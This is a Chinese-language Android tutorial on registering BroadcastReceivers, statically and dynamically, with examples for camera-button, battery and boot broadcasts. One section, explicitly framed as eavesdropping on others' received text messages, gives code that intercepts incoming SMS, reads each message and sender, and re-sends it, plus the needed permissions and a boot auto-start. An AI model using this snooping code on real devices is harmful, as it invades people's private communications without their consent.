http://developer.android.com/reference/android/content/BroadcastReceiver.html
译文: http://www.2cto.com/kf/201112/115112.html
注册BroadcastReceiver有两种方式:
一般如果在代码里面注册,就把广播写在代码里面,在xml文件中注册就单独写一个类。
动态注册:
一般在onResume()方法里面注册:
package com.test;
import android.app.Activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
public class TestBroadcastReceiver extends Activity
{
MyReceiver myReceiver;
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
}
@Override
protected void onResume()
{
myReceiver = new MyReceiver();
IntentFilter filter = new IntentFilter();
// 向过滤器中添加action
filter.addAction("com.test");
// 注册广播
registerReceiver(myReceiver, filter);
Intent intent = new Intent();
intent.setAction("com.test");
intent.putExtra("key", "value");
// 发送广播
sendBroadcast(intent);
super.onResume();
}
@Override
protected void onPause()
{
unregisterReceiver(myReceiver);
super.onPause();
}
class MyReceiver extends BroadcastReceiver
{
private static final String ACTION_TEST = "com.test";
@Override
public void onReceive(Context context, Intent intent)
{
if (intent.getAction().equals(ACTION_TEST))
{
Bundle bundle = intent.getExtras();
System.out.println(bundle.get("key"));
}
}
}
}
静态注册:在AndroidManifest.xml中用标签注册,并在标签内用标签设置过滤器。
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<activity
android:label="@string/app_name"
android:name=".TestBroadcastReceiver" >
<intent-filter >
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver android:name=".MyReceiver" >
<intent-filter >
<action android:name="com.test" />
</intent-filter>
</receiver>
</application>
public class MyReceiver extends BroadcastReceiver
{
private static final String ACTION_TEST = "com.test";
@Override
public void onReceive(Context context, Intent intent)
{
if (intent.getAction().equals(ACTION_TEST))
{
Bundle bundle = intent.getExtras();
System.out.println(bundle.get("key"));
}
}
}
然后可在activity里发送广播。
----------------------------------------------------------------------------------------------------------------------------
上面是接受自定义的广播, 我们还可以接受系统发出的广播:
以下是个按下照相机之后,启动一个服务的例子:
1, 新建SimpleBoradcastReceiver extends BroadcastReceiver
public class SimpleBoradcastReceiver extends BroadcastReceiver
{
@Override
public void onReceive(Context context, Intent intent)
{
String action = intent.getAction();
if (action.equals(Intent.ACTION_CAMERA_BUTTON))
{
// 照相机按下后需要做的事,这里启动一个服务
/**
* 如果broadcast reveiver需要处理耗时的任务,就应该启动一个服务而不是线程,
* 因为在执行完onReceive()方法后,BroadcastReceiver实例就即刻进入非活动状态,而被系统杀死。
*/
context.startService(new Intent(context, SimpleService.class));
}
}
}
2, 用MainActivity来启动SimpleBoradcastReceiver
public class MainActivity extends Activity
{
SimpleBoradcastReceiver aSimpleBoradcastReceiver = new SimpleBoradcastReceiver();
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
// 照相按钮的过滤器
IntentFilter intentFilter = new IntentFilter(
Intent.ACTION_CAMERA_BUTTON);
// 也可以继续增加你想要监听的行为
intentFilter.addAction(Intent.ACTION_PACKAGE_ADDED);
// 启动broadcast receiver, 使用registerReceiver()方法将intentFilter传递给它, 启动以后只要有intentFilter里监听的行为发生,就会进入到aSimpleBoradcastReceiver的onReceive方法中去执行。
registerReceiver(aSimpleBoradcastReceiver, intentFilter);
}
/**
* 如果销毁activity, receiver也要被释放掉(非必需,但很有用)。
*/
@Override
protected void onPause()
{
super.onPause();
unregisterReceiver(aSimpleBoradcastReceiver);
}
}
3, SimpleService
public class SimpleService extends Service
{
@Override
public IBinder onBind(Intent arg0)
{
return null;
}
@Override
public void onCreate()
{
super.onCreate();
// do something...
}
@Override
public void onDestroy()
{
super.onDestroy();
// do something...
}
}
----------------------------------------------------------------------------------------------------------------------------
窃听别人接收到的短信:
IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
IncomingSMSReceiver receiver = new IncomingSMSReceiver();
registerReceiver(receiver, filter);
public class IncomingSMSReceiver extends BroadcastReceiver
{
private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
@Override
public void onReceive(Context context, Intent intent)
{
if (intent.getAction().equals(SMS_RECEIVED))
{
SmsManager sms = SmsManager.getDefault();
Bundle bundle = intent.getExtras();
if (bundle != null)
{
Object[] pdus = (Object[]) bundle.get("pdus");
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < pdus.length; i++)
messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
for (SmsMessage message : messages)
{
String msg = message.getMessageBody();
String to = message.getOriginatingAddress();
sms.sendTextMessage(to, null, msg, null, null);
}
}
}
}
}
在AndroidManifest.xml文件中添加以下权限:
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 -->
Android还有很多广播Intent,如:开机启动、电池电量变化、时间已经改变等广播Intent。
<receiver android:name=".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.intent.action.BATTERY_CHANGED"/>
</intent-filter>
</receiver>
接收开机启动广播Intent,在AndroidManifest.xml文件中的<application>节点里订阅此Intent:
<receiver android:name=".IncomingSMSReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
并且要进行权限声明:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
这样开机后onReceiver 就能收到开机的intent,然后自动启动你的service 或activity来做需要的事情